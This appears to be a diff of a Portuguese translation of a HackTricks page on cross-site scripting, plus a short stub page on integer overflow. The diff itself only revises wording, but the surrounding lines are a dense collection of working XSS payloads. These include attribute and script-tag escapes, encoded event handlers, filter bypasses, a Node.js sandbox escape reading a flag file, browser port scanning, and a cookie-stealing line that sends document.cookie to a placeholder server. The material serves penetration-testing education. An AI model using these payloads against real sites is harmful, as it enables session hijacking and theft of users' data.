Se **não conseguir escapar da tag**, pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando uma carga útil como (_note que neste exemplo as aspas duplas são usadas para escapar do atributo, não precisará delas se a sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,10 +275,10 @@ Se **não conseguir escapar da tag**, pode criar novos atributos dentro da tag p
|
|||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, se **você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Burlar dentro do evento usando codificação HTML/codificação de URL**
|
||||
**Bypass dentro do evento usando codificação HTML/codificação de URL**
|
||||
|
||||
Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Voltar </a>`
|
||||
|
||||
|
@ -309,7 +309,7 @@ Note que **qualquer tipo de codificação HTML é válida**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocolos Especiais Dentro do atributo
|
||||
### Protocolos Especiais Dentro do Atributo
|
||||
|
||||
Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
|
||||
```javascript
|
||||
|
@ -365,7 +365,7 @@ Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não** **funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload** não **funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
|
||||
**Usando codificação Hex e Octal com `javascript:`**
|
||||
|
||||
|
@ -382,12 +382,10 @@ Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do
|
|||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Reverse tab nabbing
|
||||
|
||||
### Roubo de guia reverso
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Se você pode injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -396,7 +394,7 @@ Se você pode injetar qualquer URL em uma tag **`<a href=`** arbitrária que con
|
|||
### Bypass em Manipuladores de Eventos
|
||||
|
||||
Primeiramente, verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obter **"on" event handlers** úteis.\
|
||||
Caso haja alguma lista negra impedindo você de criar esses manipuladores de eventos, você pode tentar os seguintes bypasses:
|
||||
Caso haja alguma lista negra impedindo a criação desses manipuladores de eventos, você pode tentar os seguintes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -413,12 +411,12 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta)
|
||||
|
||||
A partir de [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
|
||||
De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
E em **meta tags**:
|
||||
E nos **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -436,11 +434,11 @@ A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fiel
|
|||
|
||||
Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:
|
||||
|
||||
- **Codificação HTML (tags HTML)**
|
||||
- **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)`
|
||||
- **Codificação de URL**
|
||||
- **Codificação Hexadecimal e Octal**
|
||||
- **Codificação de dados**
|
||||
- Codificação HTML (tags HTML)
|
||||
- Codificação Unicode (pode ser código JS válido): `\u0061lert(1)`
|
||||
- Codificação de URL
|
||||
- Codificação Hexadecimal e Octal
|
||||
- Codificação de dados
|
||||
|
||||
**Contornos para tags e atributos HTML**
|
||||
|
||||
|
@ -476,11 +474,11 @@ Neste caso, sua **entrada** será **refletida dentro do código JS** de um arqui
|
|||
|
||||
### Escapando a tag \<script>
|
||||
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note que neste exemplo **nem mesmo fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.
|
||||
Note que neste exemplo **nem sequer fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.
|
||||
|
||||
### Dentro do código JS
|
||||
|
||||
|
@ -737,14 +735,14 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vulnerabilidades do DOM**
|
||||
|
||||
Existe **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
|
||||
Existe **código JS** que está utilizando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
|
||||
**Devido à extensão da explicação das** [**vulnerabilidades do DOM, ela foi movida para esta página**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades do DOM, como elas são provocadas e como explorá-las**.\
|
||||
Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades do DOM, como são provocadas e como explorá-las**.\
|
||||
Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Outras Formas de Bypass
|
||||
|
@ -760,7 +758,7 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados
|
|||
### Bypass Ruby-On-Rails
|
||||
|
||||
Devido às **atribuições em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
|
||||
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -768,7 +766,9 @@ O par "Chave","Valor" será ecoado de volta assim:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
### Combinações Especiais
|
||||
Em seguida, o atributo onfocus será inserido e ocorrerá XSS.
|
||||
|
||||
### Combinações especiais
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -815,7 +815,7 @@ Se você puder indicar o **callback** que o javascript vai **executar** limitado
|
|||
|
||||
> Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável, e a verificação estrita do tipo MIME está ativada.
|
||||
|
||||
Os únicos **tipos de conteúdo** que suportarão o Chrome para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -891,7 +891,7 @@ Este comportamento foi utilizado em [**este artigo**](https://github.com/zwade/y
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Tipos de Conteúdo da Web para XSS
|
||||
### Tipos de Conteúdo Web para XSS
|
||||
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
|
@ -918,9 +918,9 @@ Se a página estiver retornando um tipo de conteúdo text/xml, é possível indi
|
|||
```
|
||||
### Padrões de Substituição Especiais
|
||||
|
||||
Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuario>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``
|
||||
Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuário>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``
|
||||
|
||||
Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||||
Por exemplo, neste [**relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||||
|
||||
### Chrome Cache para XSS
|
||||
|
||||
|
@ -961,7 +961,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável:
|
||||
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
|
||||
|
||||
* Usando import()
|
||||
```javascript
|
||||
|
@ -970,7 +970,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* Acessando `require` indiretamente
|
||||
|
||||
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, assim:
|
||||
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como este exemplo:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -984,7 +984,7 @@ Portanto, se a partir desse módulo podemos **chamar outra função**, é possí
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
|
||||
De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **invólucro** do módulo e obter a função **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1064,6 +1064,14 @@ trigger()
|
|||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Armadilha de Iframe
|
||||
|
||||
Faça o usuário navegar na página sem sair de um iframe e roubar suas ações (incluindo informações enviadas em formulários):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Recuperar Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1168,7 +1176,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_As vezes curtas indicam uma porta respondendo_ _Tempos mais longos indicam falta de resposta._
|
||||
_Períodos curtos indicam uma porta respondendo_ _Períodos mais longos indicam falta de resposta._
|
||||
|
||||
Consulte a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
|
@ -1281,7 +1289,7 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Acessar Conteúdo Oculto
|
||||
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los nos atributos JS em diferentes objetos. Por exemplo, é possível encontrar um input de um REGEX mesmo após o valor do input do regex ter sido removido:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1319,7 +1327,7 @@ Conseguiu um XSS em um **site que utiliza cache**? Tente **elevar isso para SSRF
|
|||
Use-o para contornar restrições de cookies, filtros XSS e muito mais!\
|
||||
Mais informações sobre essa técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS em PDF criado dinamicamente
|
||||
### XSS em PDF dinâmico criado
|
||||
|
||||
Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no servidor**.
|
||||
|
@ -1328,7 +1336,7 @@ Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados em PDF**:
|
||||
Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados de PDF**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1342,9 +1350,9 @@ O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorial
|
|||
|
||||
Exemplo de [**writeup XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS ao enviar arquivos (svg)
|
||||
### XSS fazendo upload de arquivos (svg)
|
||||
|
||||
Faça upload de um arquivo como a seguinte imagem (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Faça upload como uma imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1416,9 +1424,9 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1426,7 +1434,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Estouro de Inteiro
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Verifique:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue